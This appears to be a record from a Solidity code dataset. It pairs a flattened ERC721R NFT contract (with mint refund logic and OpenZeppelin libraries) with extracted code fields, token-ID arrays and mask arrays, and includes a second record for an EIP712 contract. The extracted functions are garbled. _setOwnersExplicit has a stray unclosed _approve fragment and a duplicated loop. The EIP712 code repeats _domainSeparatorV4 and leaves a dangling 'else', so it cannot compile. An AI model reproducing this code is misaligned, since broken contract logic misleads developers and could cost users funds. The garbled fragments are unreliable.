"ERC721R: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721R: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721R: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721R: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721R: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity, uint256 purchasePrice) internal { _safeMint(to, quantity, purchasePrice, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, uint256 purchasePrice, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721R: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721R: token already minted"); require(quantity <= maxBatchSize, "ERC721R: quantity to mint too high"); // NOTE PODIUM WILL USE 77 FOR DEV MINT. ENSURE NO EXPLOIT POSSIBLE _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721R: transfer to non ERC721Receiver implementer" ); if(purchasePrice > 0) { // Team mint _tokenPurchasePriceCurrent[updatedIndex] = purchasePrice; // What was token purchased at } updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721R: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721R: transfer from incorrect owner" ); require(to != address(0), "ERC721R: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } // Refund logic to set purchase price of token // If eligible if(_checkPurchasePriceCurrent(tokenId) > 0){ refundEligbleSum -= _tokenPurchasePriceCurrent[tokenId]; _tokenPurchasePriceCurrent[tokenId] = 0; // Transfer voids refund } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721R: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * Will current period in timestamp */ function _currentPeriod(uint32 _refundStartTime) internal view returns (uint32){ if (block.timestamp < (_refundStartTime + (1 * refundTimeIntervals))){ return 0; } else if (block.timestamp < (_refundStartTime + (2 * refundTimeIntervals))){ return 1; } else if (block.timestamp < (_refundStartTime + (3 * refundTimeIntervals))){ return 2; } else if (block.timestamp < (_refundStartTime + (4 * refundTimeIntervals))){ return 3; } else if (block.timestamp < (_refundStartTime + (5 * refundTimeIntervals))){ return 4; } else{ return 5; } } /** * @dev Function that returns the mint price of the token. * Will be 0 if transfered * Calling conditions: * * - `tokenId` is the queried tokenId */ function checkPurchasePriceCurrent(uint256 tokenId) public view virtual returns (uint256) { return _checkPurchasePriceCurrent(tokenId); } function _checkPurchasePriceCurrent(uint256 tokenId) internal view virtual returns (uint256) { return _tokenPurchasePriceCurrent[tokenId]; } /** * @dev Send token to refund address * If eligible (price not 0 either dev mint or transfer) * Calling conditions: * * - `from` is address of the refunder * - `to` is the address where refunded token will go * - `tokenId` is the queried tokenId */ function _refund( address from, address to, uint256 tokenId ) internal { require(_checkPurchasePriceCurrent(tokenId) > 0, "Token has already been refunded or minted by devs"); safeTransferFrom(from, to, tokenId, ""); } /** * @dev Owner and date owned of token * Calling conditions: * * - `tokenId` is the queried tokenId */ function ownerOfData(uint256 tokenId) public view returns (TokenOwnership memory) { return ownershipOf(tokenId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf()./
function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; function _approve( address to, uint256 tokenId, address owner } uint256 public nextOwnerToExplicitlySet = 0; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; }
410,437
[ 1, 17186, 715, 444, 1375, 995, 414, 68, 358, 29529, 14075, 316, 3563, 4097, 434, 3410, 951, 7675, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 542, 5460, 414, 17186, 12, 11890, 5034, 10457, 13, 2713, 288, 203, 565, 2254, 5034, 1592, 2134, 5541, 25208, 273, 1024, 5541, 774, 17186, 715, 694, 31, 203, 565, 2583, 12, 16172, 405, 374, 16, 315, 16172, 1297, 506, 16966, 8863, 203, 565, 2254, 5034, 13818, 273, 1592, 2134, 5541, 25208, 397, 10457, 300, 404, 31, 203, 225, 445, 389, 12908, 537, 12, 203, 565, 1758, 358, 16, 203, 565, 2254, 5034, 1147, 548, 16, 203, 565, 1758, 3410, 203, 225, 289, 203, 203, 225, 2254, 5034, 1071, 1024, 5541, 774, 17186, 715, 694, 273, 374, 31, 203, 203, 565, 309, 261, 409, 1016, 405, 1849, 1225, 300, 404, 13, 288, 203, 1377, 13818, 273, 1849, 1225, 300, 404, 31, 203, 565, 289, 203, 565, 2583, 24899, 1808, 12, 409, 1016, 3631, 315, 902, 7304, 312, 474, 329, 4671, 364, 333, 6686, 8863, 203, 565, 364, 261, 11890, 5034, 277, 273, 1592, 2134, 5541, 25208, 31, 277, 1648, 13818, 31, 277, 27245, 288, 203, 1377, 309, 261, 67, 995, 12565, 87, 63, 77, 8009, 4793, 422, 1758, 12, 20, 3719, 288, 203, 3639, 3155, 5460, 12565, 3778, 23178, 273, 23178, 951, 12, 77, 1769, 203, 3639, 389, 995, 12565, 87, 63, 77, 65, 273, 3155, 5460, 12565, 12, 203, 1850, 23178, 18, 4793, 16, 203, 1850, 23178, 18, 1937, 4921, 203, 3639, 11272, 203, 1377, 289, 203, 565, 289, 203, 565, 1024, 5541, 774, 17186, 715, 694, 273, 13818, 397, 404, 31, 203, 565, 364, 261, 11890, 5034, 277, 273, 1592, 2 ]
./full_match/84531/0x856A3439C211a3A8CE2f102Bc71fF5035fe50AF5/sources/project:/contracts/EIP712.sol
Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to invalidate the cached domain separator if the chain id changes.
abstract contract EIP712 { bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; pragma solidity ^0.8.0; constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } } else { function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } }
11,499,327
[ 1, 1649, 326, 2461, 4182, 487, 392, 11732, 460, 16, 1496, 2546, 1707, 326, 2687, 612, 716, 518, 13955, 358, 16, 316, 1353, 358, 11587, 326, 3472, 2461, 4182, 309, 326, 2687, 612, 3478, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
